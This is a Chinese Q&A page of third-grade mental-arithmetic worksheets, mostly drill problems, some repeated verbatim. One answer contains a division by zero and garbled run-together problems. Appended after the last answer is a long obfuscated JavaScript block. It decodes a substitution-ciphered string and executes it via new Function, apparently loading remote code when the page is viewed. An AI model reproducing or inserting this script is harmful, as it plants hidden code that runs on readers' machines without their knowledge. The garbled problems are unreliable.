小学生三年级数学口算题100道

2024-11-29 18:59:21
推荐回答(5个)
回答1:

三年级口算练习(一)
26+9= 57-38= 1500-700= 42×2= 99÷3= 770÷7=
660÷3= 960÷3= 180÷9= 65+15= 660÷6= 800×2=
50÷5= 3×800= 420÷7= 3×220= 480÷4= 58+33=
420-20= 93÷3= 880÷4= 1200-200= 11×7= 80-46=
0÷51= 0÷76= 0×85= 70÷7= 14×2= 5×900=
2×200= 84÷4= 0÷91= 930÷3= 390÷3= 0+22=
83-57= 29+68= 68-49= 80×7= 800÷4= 330÷3=
3×23= 64÷2= 58+26= 34×2= 550÷5= 800×8=
420÷2= 63÷3= 160÷4= 800+700= 690÷3= 58-0=
2×440= 48÷2= 480÷2= 60×5= 2×44= 840÷4=
三年级口算练习(二)
姓名: 班别:三( )班

440÷4= 32×3= 48÷4= 540÷9= 90÷9= 13×3=
600×7= 120×3= 480÷2= 39÷3= 560÷8= 990÷3=
3×200= 620÷2= 660÷2= 640÷8= 880÷4= 7500-500=
0÷91= 12×4= 3×31= 0×57= 120×4= 0×97=
360÷9= 44×2= 960÷3= 32×2= 2×440= 460÷2=
70+500= 3×33= 280÷4= 9×400= 3×330= 690÷3=
49+33= 700÷7= 23×3= 78-36= 11×4= 230×3=
310×3= 390÷3= 230×3= 11×4= 82-55= 310×3=
720÷9= 4700-700= 600÷3= 48+28= 640÷8= 480÷8=
7×50= 800÷8= 880÷8= 9×500= 80+17= 54+28=
三年级口算练习(四)
姓名: 班别:三( )班

42×3= 1700-800= 90÷3= 180÷3= 300÷5= 930÷3=
800÷4= 60-15= 900÷3= 450÷9= 360÷6= 37+56=
32×3= 70×7= 1200-700= 300÷6= 50×7= 0×37=
53-14= 17+27= 840÷4= 2×14= 140÷2= 660÷6=
7×800= 7×700= 840÷2= 430×2= 540÷9= 31×3=
13×3= 34+56= 96÷3= 2×330= 50×6= 680÷2=
620÷2= 6×800= 960÷3= 1500-900= 1800-800= 63÷3=
26+57= 800÷8= 33+57= 600×3= 37+8= 480÷8=
630÷3= 62-33= 500+500= 33×2= 800÷2= 700÷8=
0÷47= 560÷7= 440÷4= 93÷3= 24×2= 0÷54=
三年级口算练习(三)
姓名: 班别:三( )班

23×3= 12×30= 7×80= 48×10= 40×40= 40×10=
23×30= 60×50= 70×80= 10×68= 40×50= 30×21=
7×11= 50×70= 24×2= 30×70= 10×74= 50×10=
70×11= 30×40= 24×20= 12×20= 30×21= 20×70=
28×1= 20×13= 1×36= 10×19= 11×50= 30×30=
28×10= 20×50= 10×36= 30×33= 21×40= 12×10=
31×2= 14×20= 6×90= 20×33= 90×20= 20×13=
31×20= 22×3= 60×90= 39×10= 21×2= 44×20=
12×4= 22×30= 22×4= 30×80= 33×10= 50×90=
12×40= 220×3= 22×40= 90×40= 200×3= 41×20=
三年级口算练习(五)
姓名: 班别:三( )班

21×30= 10×46= 3×700= 33×30= 20×41= 6×600=
24×20= 50×30= 0×45= 50×70= 800×7= 60÷6=
10×89= 69×10= 13×30= 23×30= 4×90= 60×60=
60×40= 90×30= 21×40= 30×20= 40×90= 2×31=
33×20= 40×70= 48+19= 70×6= 4×900= 2×310=
20+35= 45+35= 32×20= 70×60= 84×1= 900×6=
34×20= 33×30= 31×20= 700×6= 84×10= 9×800=
70×30= 2×42= 86-47= 5×90= 22×30= 6×500=
8×70= 42×20= 400+300= 5×900= 10×33= 22×0=
80×70= 200×4= 0÷20= 6×60= 22×40= 44+20=
三年级口算练习(六)
姓名: 班别:三( )班

40×40= 43×20= 46+37= 420÷6= 300÷6= 40×11=
360÷9= 10×34= 40×90= 90×60= 490÷7= 20×34=
300×3= 80×4= 65×0= 330÷3= 250÷5= 680-80=
21×40= 80×40= 10×37= 20×50= 2000+300= 880÷2=
70×20= 400÷4= 0×66= 50×30= 640÷8= 880÷4=
400+300= 34+39= 360÷6= 99×10= 12×20= 30×80=
41×20= 97×10= 700÷7= 33×30= 0÷59= 11×80=
200÷4= 31×20= 600+90= 4700-700= 44-37= 40×12=
84-47= 630÷7= 71-23= 0÷43= 31×30= 21×30=
43×2= 0×20= 75+18= 23+48= 90×30= 30×12=
三年级口算练习(七)
姓名: 班别:三( )班

46+24= 0÷73= 42×20= 100÷5= 10×50= 350÷5=
52-29= 240×2= 52+39= 400÷8= 480÷8= 33×30=
50×5= 800×3= 60×50= 410×2= 41×20= 310×3=
20×23= 440÷4= 30×32= 0×35= 10×35= 29+61=
40×70= 30×30= 50×90= 80×30= 20×14= 90×50=
420÷6= 300÷6= 240÷4= 69×10= 22×40= 33×20=
900÷9= 810÷9= 630÷9= 30×23= 330×3= 0×30=
750-50= 480÷8= 5000+2000= 77-48= 300÷5= 300+700=
420÷2= 820÷2= 70×11= 4500-500= 20×40= 400÷4=
11×40= 900×5= 67-49= 200÷4= 8000-1000= 20×24=
三年级口算练习(八)
姓名: 班别:三( )班

57+29= 540÷6= 10×73= 10×58= 0÷49= 34×20=
80×90= 30×70= 120×4= 640÷8= 720÷9= 10×34=
65×10= 660÷3= 700×5= 41×20= 7000-3000= 30×30=
10×47= 30×23= 660÷6= 5900-5000= 11×40= 70×40=
10×36= 6000+2000= 80×80= 29+14= 80×50= 200×4=
36+56= 88×10= 600÷6= 22×30= 400+600= 34+29=
800÷8= 21×30= 720÷8= 33×30= 32×20= 87×10=
500+40= 22×40= 440÷4= 33×20= 320÷4= 900÷3=
77-29= 0÷93= 640÷2= 30×50= 75+18= 600+700=
40×70= 43+38= 90×50= 84-65= 43-16= 10×80=
三年级口算练习(九)
(1) (2) (3) (4)
57+29= 500+40= 88×10= 700×5=
80×90= 40×70= 21×30= 660÷6=
65×10= 540÷6= 22×40= 80×80=
10×47= 30×70= 0÷93= 600÷6=
10×36= 660÷3= 43+38= 720÷8=
36+56= 23×30= 10×73= 90×50=
800÷8= 6000+2000= 120×4= 640÷2=

回答2:

82+12 29x19 1000×8826+9= 57-38= 1500-700= 42×2= 99÷3= 770÷7=
660÷3= 960÷3= 180÷9= 65+15= 660÷6= 800×2=
50÷5= 3×800= 420÷7= 3×220= 480÷4= 58+33=
420-20= 93÷3= 880÷4= 1200-200= 11×7= 80-46=
0÷51= 0÷76= 0×85= 70÷7= 14×2= 5×900=
2×200= 84÷4= 0÷91= 930÷3= 390÷3= 0+22=
83-57= 29+68= 68-49= 80×7= 800÷4= 330÷3=
3×23= 64÷2= 58+26= 34×2= 550÷5= 800×8=
420÷2= 63÷3= 160÷4= 800+700= 690÷3= 58-0=
2×440= 48÷2= 480÷2= 60×5= 2×44= 840÷4=
三年级口算练习(二)
姓名: 班别:三( )班
440÷4= 32×3= 48÷4= 540÷9= 90÷9= 13×3=
600×7= 120×3= 480÷2= 39÷3= 560÷8= 990÷3=
3×200= 620÷2= 660÷2= 640÷8= 880÷4= 7500-500=
0÷91= 12×4= 3×31= 0×57= 120×4= 0×97=
360÷9= 44×2= 960÷3= 32×2= 2×440= 460÷2=
70+500= 3×33= 280÷4= 9×400= 3×330= 690÷3=
49+33= 700÷7= 23×3= 78-36= 11×4= 230×3=
310×3= 390÷3= 230×3= 11×4= 82-55= 310×3=
720÷9= 4700-700= 600÷3= 48+28= 640÷8= 480÷8=
7×50= 800÷8= 880÷8= 9×500= 80+17= 54+28=
三年级口算练习(四)
姓名: 班别:三( )班
42×3= 1700-800= 90÷3= 180÷3= 300÷5= 930÷3=
800÷4= 60-15= 900÷3= 450÷9= 360÷6= 37+56=
32×3= 70×7= 1200-700= 300÷6= 50×7= 0×37=
53-14= 17+27= 840÷4= 2×14= 140÷2= 660÷6=
7×800= 7×700= 840÷2= 430×2= 540÷9= 31×3=
13×3= 34+56= 96÷3= 2×330= 50×6= 680÷2=
620÷2= 6×800= 960÷3= 1500-900= 1800-800= 63÷3=
26+57= 800÷8= 33+57= 600×3= 37+8= 480÷8=
630÷3= 62-33= 500+500= 33×2= 800÷2= 700÷8=
0÷47= 560÷7= 440÷4= 93÷3= 24×2= 0÷54=
三年级口算练习(三)
姓名: 班别:三( )班
23×3= 12×30= 7×80= 48×10= 40×40= 40×10=
23×30= 60×50= 70×80= 10×68= 40×50= 30×21=
7×11= 50×70= 24×2= 30×70= 10×74= 50×10=
70×11= 30×40= 24×20= 12×20= 30×21= 20×70=
28×1= 20×13= 1×36= 10×19= 11×50= 30×30=
28×10= 20×50= 10×36= 30×33= 21×40= 12×10=
31×2= 14×20= 6×90= 20×33= 90×20= 20×13=
31×20= 22×3= 60×90= 39×10= 21×2= 44×20=
12×4= 22×30= 22×4= 30×80= 33×10= 50×90=
12×40= 220×3= 22×40= 90×40= 200×3= 41×20=
三年级口算练习(五)
姓名: 班别:三( )班
21×30= 10×46= 3×700= 33×30= 20×41= 6×600=
24×20= 50×30= 0×45= 50×70= 800×7= 60÷6=
10×89= 69×10= 13×30= 23×30= 4×90= 60×60=
60×40= 90×30= 21×40= 30×20= 40×90= 2×31=
33×20= 40×70= 48+19= 70×6= 4×900= 2×310=
20+35= 45+35= 32×20= 70×60= 84×1= 900×6=
34×20= 33×30= 31×20= 700×6= 84×10= 9×800=
70×30= 2×42= 86-47= 5×90= 22×30= 6×500=
8×70= 42×20= 400+300= 5×900= 10×33= 22×0=
80×70= 200×4= 0÷20= 6×60= 22×40= 44+20=
三年级口算练习(六)
姓名: 班别:三( )班
40×40= 43×20= 46+37= 420÷6= 300÷6= 40×11=
360÷9= 10×34= 40×90= 90×60= 490÷7= 20×34=
300×3= 80×4= 65×0= 330÷3= 250÷5= 680-80=
21×40= 80×40= 10×37= 20×50= 2000+300= 880÷2=
70×20= 400÷4= 0×66= 50×30= 640÷8= 880÷4=
400+300= 34+39= 360÷6= 99×10= 12×20= 30×80=
41×20= 97×10= 700÷7= 33×30= 0÷59= 11×80=
200÷4= 31×20= 600+90= 4700-700= 44-37= 40×12=
84-47= 630÷7= 71-23= 0÷43= 31×30= 21×30=
43×2= 0×20= 75+18= 23+48= 90×30= 30×12=
三年级口算练习(七)
姓名: 班别:三( )班
46+24= 0÷73= 42×20= 100÷5= 10×50= 350÷5=
52-29= 240×2= 52+39= 400÷8= 480÷8= 33×30=
50×5= 800×3= 60×50= 410×2= 41×20= 310×3=
20×23= 440÷4= 30×32= 0×35= 10×35= 29+61=
40×70= 30×30= 50×90= 80×30= 20×14= 90×50=
420÷6= 300÷6= 240÷4= 69×10= 22×40= 33×20=
900÷9= 810÷9= 630÷9= 30×23= 330×3= 0×30=
750-50= 480÷8= 5000+2000= 77-48= 300÷5= 300+700=
420÷2= 820÷2= 70×11= 4500-500= 20×40= 400÷4=
11×40= 900×5= 67-49= 200÷4= 8000-1000= 20×24=
三年级口算练习(八)
姓名: 班别:三( )班
57+29= 540÷6= 10×73= 10×58= 0÷49= 34×20=
80×90= 30×70= 120×4= 640÷8= 720÷9= 10×34=
65×10= 660÷3= 700×5= 41×20= 7000-3000= 30×30=
10×47= 30×23= 660÷6= 5900-5000= 11×40= 70×40=
10×36= 6000+2000= 80×80= 29+14= 80×50= 200×4=
36+56= 88×10= 600÷6= 22×30= 400+600= 34+29=
800÷8= 21×30= 720÷8= 33×30= 32×20= 87×10=
500+40= 22×40= 440÷4= 33×20= 320÷4= 900÷3=
77-29= 0÷93= 640÷2= 30×50= 75+18= 600+700=
40×70= 43+38= 90×50= 84-65= 43-16= 10×80=
三年级口算练习(九)
(1) (2) (3) (4)
57+29= 500+40= 88×10= 700×5=
80×90= 40×70= 21×30= 660÷6=
65×10= 540÷6= 22×40= 80×80=
10×47= 30×70= 0÷93= 600÷6=
10×36= 660÷3= 43+38= 720÷8=
36+56= 23×30= 10×73= 90×50=
800÷8= 6000+2000= 120×4= 640÷2=

回答3:

1) 54÷9= 2) 5000-600= 3) 20×4= 4) 84÷4=
5) 2000+500= 6) 200×3= 7) 9×300= 8) 90÷9=
9) 77÷7= 10) 3500-500= 11) 37+25= 12) 90÷9=
13) 44+17= 14) 500+4000= 15) 69÷3= 16) 55-35=
17) 80÷8= 18) 600+4000= 19) 3500-500= 20) 35×2=
21) 90÷9= 22) 22÷2= 23) 600+400= 24) 31×3=
25) 600×3= 26) 90-35= 27) 77÷7= 28) 45+15=
29) 90-35= 30) 44-25= 31) 5000+300= 32) 800+400=
33) 66÷6= 34) 21+78= 35) 76-64= 36) 3000+4000=
37) 60÷3= 38) 800+400= 39) 800×8= 40) 8000-2000=
41) 48÷4= 42) 52+38= 43) 800+400= 44) 600+4000=
45) 45+15= 46) 50÷2= 47) 35×2= 48) 4×22=
49) 20×4= 50) 6×40= 51) 96÷3= 52) 60÷3=
53) 84÷4= 54) 63-25= 55) 2000+500= 56) 7200-7000=
57) 6×500= 58) 20×4= 59) 201×3= 60) 200×3=
61) 70-32= 62) 50÷5= 63) 5000+200= 64) 30+37=
65) 82÷2= 66) 110×7= 67) 76-64= 68) 36÷3=
69) 4×700= 70) 30+37= 71) 1000+9000= 72) 54÷9=
73) 240×2= 74) 50÷2= 75) 700+900= 76) 9×300=
77) 5000+200= 78) 5000+300= 79) 300×3= 80) 80÷2=
81) 4×22= 82) 36÷3= 83) 54÷9= 84) 80-64=
85) 50÷2= 86) 0×10= 87) 110×7= 88) 76-64=
89) 30+37= 90) 60÷3= 91) 6×40= 92) 800+400=
93) 6000-4000= 94) 80-64= 95) 800+400= 96) 82÷2=
97) 19+36= 98) 700+900= 99) 55-38= 100) 5000+200=
手累了,到此为止吧。
求采纳。
我为此奉献了我的右手。
累~~~~~~~~~~~~。

回答4:

26+9= 54÷0= 84+4= 96+10 = 81—21=

回答5:

930+21=
60×7=
300×7=
90X2=
70x9=

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();